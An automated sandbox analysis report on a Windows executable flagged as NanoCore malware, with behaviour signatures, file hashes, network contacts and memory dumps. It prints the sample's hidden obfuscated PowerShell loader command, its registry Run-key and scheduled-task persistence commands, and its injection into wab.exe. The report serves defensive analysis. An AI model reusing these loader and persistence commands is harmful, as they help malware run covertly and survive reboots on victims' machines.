Analysis Overview
SHA256
d03270724cdd652a3c7463024b13b1d25440428a9dadd050424c9ff93a365c53
Threat Level: Known bad
The file PI_2024088_09272537_981672-HTE025783927.exe was found to be: Known bad.
Malicious Activity Summary
NanoCore
Command and Scripting Interpreter: PowerShell
Adds Run key to start application
Legitimate hosting services abused for malware hosting/C2
Suspicious use of NtCreateThreadExHideFromDebugger
Suspicious use of SetThreadContext
Suspicious use of NtSetInformationThreadHideFromDebugger
Drops file in Program Files directory
System Location Discovery: System Language Discovery
Program crash
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Modifies registry key
Suspicious behavior: MapViewOfSection
Suspicious behavior: EnumeratesProcesses
Scheduled Task/Job: Scheduled Task
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-08 18:47
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-08 18:47
Reported
2024-08-08 18:50
Platform
win7-20240708-en
Max time kernel
119s
Max time network
120s
Command Line
Signatures
NanoCore
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\Kanonfdens = "%Bassinernes% -windowstyle minimized $Inaugurations=(Get-ItemProperty -Path 'HKCU:\\Monorhine209\\').Formaliteternes;%Bassinernes% ($Inaugurations)" | C:\Windows\SysWOW64\reg.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ARP Manager = "C:\\Program Files (x86)\\ARP Manager\\arpmgr.exe" | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2444 set thread context of 2340 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wab.exe |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File created | C:\Program Files (x86)\ARP Manager\arpmgr.exe | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| File opened for modification | C:\Program Files (x86)\ARP Manager\arpmgr.exe | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\reg.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe
"C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$monopolizer=Get-Content 'C:\Users\Admin\AppData\Roaming\spidskandidater\tidsbegrnsningen\Poolene.Dyr';$Geochemist11=$monopolizer.SubString(52658,3);.$Geochemist11($monopolizer)"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Kanonfdens" /t REG_EXPAND_SZ /d "%Bassinernes% -windowstyle minimized $Inaugurations=(Get-ItemProperty -Path 'HKCU:\Monorhine209\').Formaliteternes;%Bassinernes% ($Inaugurations)"
C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Kanonfdens" /t REG_EXPAND_SZ /d "%Bassinernes% -windowstyle minimized $Inaugurations=(Get-ItemProperty -Path 'HKCU:\Monorhine209\').Formaliteternes;%Bassinernes% ($Inaugurations)"
C:\Windows\SysWOW64\schtasks.exe
"schtasks.exe" /create /f /tn "ARP Manager" /xml "C:\Users\Admin\AppData\Local\Temp\tmp3EA8.tmp"
C:\Windows\SysWOW64\schtasks.exe
"schtasks.exe" /create /f /tn "ARP Manager Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp3F16.tmp"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| NL | 172.217.168.206:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| NL | 142.250.179.131:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| NL | 142.250.179.131:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| NL | 142.250.179.129:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| GB | 2.18.190.71:80 | crl.microsoft.com | tcp |
Files
memory/2444-10-0x0000000074481000-0x0000000074482000-memory.dmp
memory/2444-11-0x0000000074480000-0x0000000074A2B000-memory.dmp
memory/2444-12-0x0000000074480000-0x0000000074A2B000-memory.dmp
memory/2444-13-0x0000000074480000-0x0000000074A2B000-memory.dmp
memory/2444-14-0x0000000074480000-0x0000000074A2B000-memory.dmp
C:\Users\Admin\AppData\Roaming\spidskandidater\tidsbegrnsningen\Poolene.Dyr
| MD5 | 0555a0781d413ef9d55ae5cf7889c536 |
| SHA1 | 9505dc0689854f33d4124d81733aeb2cd2436327 |
| SHA256 | ee9ed3183437cabff4add4da2238f6ca2972d7a7257545315e60aafaf90fec4b |
| SHA512 | 1d7a9ea5cab36b4d598f3c448cf8bb1640b7a5e7d962d849b235e7b42523f91b98c6759b2d3d205424f97937bf90a3d0eaa082d845f2b34cad49e160e6df3d49 |
memory/2444-17-0x0000000074480000-0x0000000074A2B000-memory.dmp
C:\Users\Admin\AppData\Roaming\spidskandidater\tidsbegrnsningen\Makropakker.For
| MD5 | bdb605ac3e6759f2b3d4119bfa041a1b |
| SHA1 | 4fe994f73b67e65993371a04f2f30ab9d36ebf39 |
| SHA256 | 67bb984b9bbd27346237b248ba932f27db8334248a83505498ce84243b6d831d |
| SHA512 | ce3cc235df644eb9232488a1d9b1b11ac579c2b793cc1971609fa8daea1116447274560191dd001d6ab458d87dcc36588dccbbf03dc48c08f8741f9b6ec1156d |
memory/2444-19-0x0000000074480000-0x0000000074A2B000-memory.dmp
memory/2444-20-0x0000000006650000-0x000000000977E000-memory.dmp
memory/2444-21-0x0000000074480000-0x0000000074A2B000-memory.dmp
memory/2340-41-0x0000000000720000-0x0000000001782000-memory.dmp
memory/2340-42-0x0000000000720000-0x0000000001782000-memory.dmp
memory/2340-44-0x0000000000720000-0x000000000075A000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\tmp3EA8.tmp
| MD5 | 5ccc18c3f1852b87de26278cba055c13 |
| SHA1 | 9233db8c004ac3e1b34c0782bac706a17bdc43ae |
| SHA256 | 7d588a9e361cccb0a3c97ec7ac99efe60e82932c64ab6efbfc929f51acb38432 |
| SHA512 | 1ad0e9d090e93bdfa76c7ff60c5492c43265f53adf0ac23a7c831231e12822b11bae6d0840f92c8deddc9e08dbb383d24073ece791feaf36687692a437294ed7 |
C:\Users\Admin\AppData\Local\Temp\tmp3F16.tmp
| MD5 | b6fc28b9f341812fc919e0d4c5ac0941 |
| SHA1 | d49341ec5a78189830dbf64b2bb553d0fbe06e88 |
| SHA256 | 2aacf4d9629bbec978f5a9ecfe8009cd18cfb5dbde09507937e0aaa13b1aeaba |
| SHA512 | 166ece1d42a5f438142bc5df5f34b30ee17de5844383bb7517200ee77d77b1b8096e963739cc9188602742984d2e1dc8bc9788d8ae12010e5a05415676e29fdf |
memory/2340-52-0x00000000201C0000-0x00000000201CA000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-08 18:47
Reported
2024-08-08 18:50
Platform
win10v2004-20240802-en
Max time kernel
95s
Max time network
97s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3424 wrote to memory of 2776 | N/A | C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 3424 wrote to memory of 2776 | N/A | C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 3424 wrote to memory of 2776 | N/A | C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe
"C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$monopolizer=Get-Content 'C:\Users\Admin\AppData\Roaming\spidskandidater\tidsbegrnsningen\Poolene.Dyr';$Geochemist11=$monopolizer.SubString(52658,3);.$Geochemist11($monopolizer)"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2776 -ip 2776
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2776 -s 2128
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.58.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 40.58.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
Files
memory/2776-8-0x000000007334E000-0x000000007334F000-memory.dmp
memory/2776-9-0x0000000000FA0000-0x0000000000FD6000-memory.dmp
memory/2776-10-0x0000000004FB0000-0x00000000055D8000-memory.dmp
memory/2776-11-0x0000000073340000-0x0000000073AF0000-memory.dmp
memory/2776-12-0x0000000004D50000-0x0000000004D72000-memory.dmp
memory/2776-15-0x00000000056C0000-0x0000000005726000-memory.dmp
memory/2776-14-0x0000000005650000-0x00000000056B6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d33ali4h.vo5.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2776-13-0x0000000073340000-0x0000000073AF0000-memory.dmp
memory/2776-25-0x00000000057B0000-0x0000000005B04000-memory.dmp
memory/2776-26-0x0000000005DA0000-0x0000000005DBE000-memory.dmp
memory/2776-27-0x0000000005DC0000-0x0000000005E0C000-memory.dmp
memory/2776-28-0x0000000006D40000-0x0000000006DD6000-memory.dmp
memory/2776-29-0x00000000062C0000-0x00000000062DA000-memory.dmp
memory/2776-30-0x0000000006310000-0x0000000006332000-memory.dmp
memory/2776-31-0x0000000007390000-0x0000000007934000-memory.dmp
C:\Users\Admin\AppData\Roaming\spidskandidater\tidsbegrnsningen\Poolene.Dyr
| MD5 | 0555a0781d413ef9d55ae5cf7889c536 |
| SHA1 | 9505dc0689854f33d4124d81733aeb2cd2436327 |
| SHA256 | ee9ed3183437cabff4add4da2238f6ca2972d7a7257545315e60aafaf90fec4b |
| SHA512 | 1d7a9ea5cab36b4d598f3c448cf8bb1640b7a5e7d962d849b235e7b42523f91b98c6759b2d3d205424f97937bf90a3d0eaa082d845f2b34cad49e160e6df3d49 |
memory/2776-33-0x0000000007FC0000-0x000000000863A000-memory.dmp
memory/2776-35-0x0000000073340000-0x0000000073AF0000-memory.dmp